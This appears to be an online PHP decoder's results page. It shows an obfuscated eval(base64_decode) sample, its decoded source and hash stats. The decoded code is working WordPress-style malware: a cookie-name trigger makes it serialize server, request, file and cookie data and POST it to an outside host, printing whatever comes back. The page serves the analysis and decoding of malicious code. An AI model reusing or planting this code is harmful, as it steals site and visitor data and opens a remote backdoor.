Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode("ew0KaWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCmR..
Decoded Output download
{
if (!defined('newo8dwpojap92-032jg43')) {
define('newo8dwpojap92-032jg43', 1);
{
function is_wp_login()
{
foreach ($_COOKIE as $key=>$val)
{
$key = strtolower($key);
if (strlen($key) <= 3)
{
continue;
}
$str1 = ["y","a","u","e","u","y","o","a","u","y"];
$str2 = ["k","l","z","x","c","v","m","n","b","j","h","g","w","q","r","d","p","t"];
$patt = '~(?<vowels>[yaueuyoauy])|(?<conson>[klzxcvmnbjhgwqrdapt])~iu';
if (in_array($key[0],$str1))
{
$initk = 1;
}
elseif (in_array($key[0],$str2))
{
$initk = 0;
}
else{
continue;
}
foreach (str_split($key) as $num=>$subkey)
{
if (in_array($subkey,$str1))
{
$initk -= 1;
}
elseif (in_array($subkey,$str2))
{
$initk += 1;
}
else
{
$initk += 3;
break;
}
if ($initk>1 || $initk <0) {
$initk += 3;
break;
}
}
if ($initk<=1 && $initk >=0) {
return TRUE;
}
}
return FALSE;
}
if (is_wp_login())
{
{
$url = "http://airforcecodes.site/wp-includes/blocks/group/sdewgxvcb.php";
$context = Array();
$context['http']['method'] = 'POST';
$context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
$df_vnduasq = Array();
$df_vnduasq['c1'] = "admin_ajax";
$df_vnduasq['c2'] = base64_encode(base64_encode((serialize($_SERVER))) . "&&&&" . base64_encode(serialize($_REQUEST)) . "&&&&" . base64_encode(serialize($_FILES)) . "&&&&" . base64_encode(serialize($_COOKIE)));
$context['http']['content'] = 'g093mpsdknfjdjg2=' . serialize($df_vnduasq);
$context = stream_context_create($context);
$res = file_get_contents($url, FALSE, $context);
print $res;
}
}
}
}
}
Did this file decode correctly?
Original Code
<?php eval(base64_decode("ew0KaWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCmRlZmluZSgnbmV3bzhkd3BvamFwOTItMDMyamc0MycsIDEpOw0KDQp7DQpmdW5jdGlvbiBpc193cF9sb2dpbigpDQp7DQpmb3JlYWNoICgkX0NPT0tJRSBhcyAka2V5PT4kdmFsKQ0Kew0KJGtleSA9IHN0cnRvbG93ZXIoJGtleSk7DQppZiAoc3RybGVuKCRrZXkpIDw9IDMpDQp7DQpjb250aW51ZTsNCn0NCiRzdHIxID0gWyJ5IiwiYSIsInUiLCJlIiwidSIsInkiLCJvIiwiYSIsInUiLCJ5Il07DQokc3RyMiA9IFsiayIsImwiLCJ6IiwieCIsImMiLCJ2IiwibSIsIm4iLCJiIiwiaiIsImgiLCJnIiwidyIsInEiLCJyIiwiZCIsInAiLCJ0Il07DQokcGF0dCA9ICd+KD88dm93ZWxzPlt5YXVldXlvYXV5XSl8KD88Y29uc29uPltrbHp4Y3ZtbmJqaGd3cXJkYXB0XSl+aXUnOw0KDQogICAgICAgIGlmIChpbl9hcnJheSgka2V5WzBdLCRzdHIxKSkNCiAgICAgICAgew0KICAgICAgICAkaW5pdGsgPSAxOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJGtleVswXSwkc3RyMikpDQogICAgICAgIHsNCiAgICAgICAgJGluaXRrID0gMDsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlew0KICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoIChzdHJfc3BsaXQoJGtleSkgYXMgJG51bT0+JHN1YmtleSkNCiAgICAgICAgew0KDQogICAgICAgIGlmIChpbl9hcnJheSgkc3Via2V5LCRzdHIxKSkNCiAgICAgICAgew0KICAgICAgICAkaW5pdGsgLT0gMTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgIChpbl9hcnJheSgkc3Via2V5LCRzdHIyKSkNCiAgICAgICAgew0KICAgICAgICAkaW5pdGsgKz0gMTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgJGluaXRrICs9IDM7DQogICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIGlmICgkaW5pdGs+MSB8fCAkaW5pdGsgPDApIHsNCiAgICAgICAgJGluaXRrICs9IDM7DQogICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRpbml0azw9MSAmJiAkaW5pdGsgPj0wKSB7DQogICAgICAgIHJldHVybiBUUlVFOw0KICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcmV0dXJuIEZBTFNFOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGlzX3dwX2xvZ2luKCkpDQogICAgICAgIHsNCg0KICAgICAgICB7DQogICAgICAgICR1cmwgPSAiaHR0cDovL2FpcmZvcmNlY29kZXMuc2l0ZS93cC1pbmNsdWRlcy9ibG9ja3MvZ3JvdXAvc2Rld2d4dmNiLnBocCI7DQogICAgICAgICRjb250ZXh0ID0gQXJyYXkoKTsNCiAgICAgICAgJGNvbnRleHRbJ2h0dHAnXVsnbWV0aG9kJ10gPSAnUE9TVCc7DQogICAgICAgICRjb250ZXh0WydodHRwJ11bJ2hlYWRlciddID0gJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJzsNCiAgICAgICAgJGRmX3ZuZHVhc3EgPSBBcnJheSgpOw0KICAgICAgICAkZGZfdm5kdWFzcVsnYzEnXSA9ICJhZG1pbl9hamF4IjsNCiAgICAgICAgJGRmX3ZuZHVhc3FbJ2MyJ10gPSBiYXNlNjRfZW5jb2RlKGJhc2U2NF9lbmNvZGUoKHNlcmlhbGl6ZSgkX1NFUlZFUikpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfUkVRVUVTVCkpIC4gIiYmJiYiIC4gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJF9GSUxFUykpIC4gIiYmJiYiIC4gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJF9DT09LSUUpKSk7DQoNCiAgICAgICAgJGNvbnRleHRbJ2h0dHAnXVsnY29udGVudCddID0gJ2cwOTNtcHNka25mamRqZzI9JyAuIHNlcmlhbGl6ZSgkZGZfdm5kdWFzcSk7DQogICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0KTsNCiAgICAgICAgJHJlcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIEZBTFNFLCAkY29udGV4dCk7DQogICAgICAgIHByaW50ICRyZXM7DQogICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICAgICAgICB9DQogICAgICAgIH0="));?>
Function Calls
base64_decode | 1 |
Stats
MD5 | ae0c219fc7a97626e707d3d867c3acdd |
Eval Count | 1 |
Decode Time | 49 ms |